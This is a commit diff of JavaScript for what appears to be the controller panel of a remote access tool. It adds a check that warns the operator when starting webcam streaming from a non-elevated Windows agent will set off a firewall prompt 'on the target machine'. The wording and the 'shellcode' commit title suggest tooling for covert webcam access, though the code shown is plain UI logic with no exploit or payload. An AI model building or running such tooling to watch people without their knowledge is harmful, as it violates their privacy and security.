add firewall notification and fix GPU mode in shellcode
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@@ -54,6 +54,9 @@ import { P2PClient } from "./webrtc-p2p.js";
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let selectedDeviceIndex = 0;
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let hasRenderedFrame = false;
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let drawPending = false;
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let clientOs = "";
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let clientIsAdmin = false;
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let firewallWarningAcked = false;
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const codecPrefKey = "webcamCodecPreferH264";
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let prefersH264 = typeof VideoDecoder === "function";
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@@ -438,6 +441,8 @@ import { P2PClient } from "./webrtc-p2p.js";
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return;
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}
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if (msg.type === "ready") {
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if (msg.os) clientOs = String(msg.os).toLowerCase();
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if (msg.isAdmin !== undefined) clientIsAdmin = !!msg.isAdmin;
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setStreamState("idle", "Ready");
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return;
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}
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@@ -496,10 +501,23 @@ import { P2PClient } from "./webrtc-p2p.js";
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};
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}
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function needsWebrtcFirewallWarning(mode) {
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if (firewallWarningAcked) return false;
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if (mode !== "relayed" && mode !== "p2p") return false;
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const isWindows = clientOs.includes("windows") || clientOs.includes("win");
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return isWindows && !clientIsAdmin;
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}
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startBtn.addEventListener("click", () => {
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const mode = getWebrtcMode();
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if (needsWebrtcFirewallWarning(mode)) {
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if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) {
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return;
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}
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firewallWarningAcked = true;
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}
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desiredStreaming = true;
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applyFpsSettings();
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const mode = getWebrtcMode();
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if (mode === "relayed") {
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// Server replies with webrtc_ready; startWhep happens then.
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send("webcam_start", { webrtc: true });
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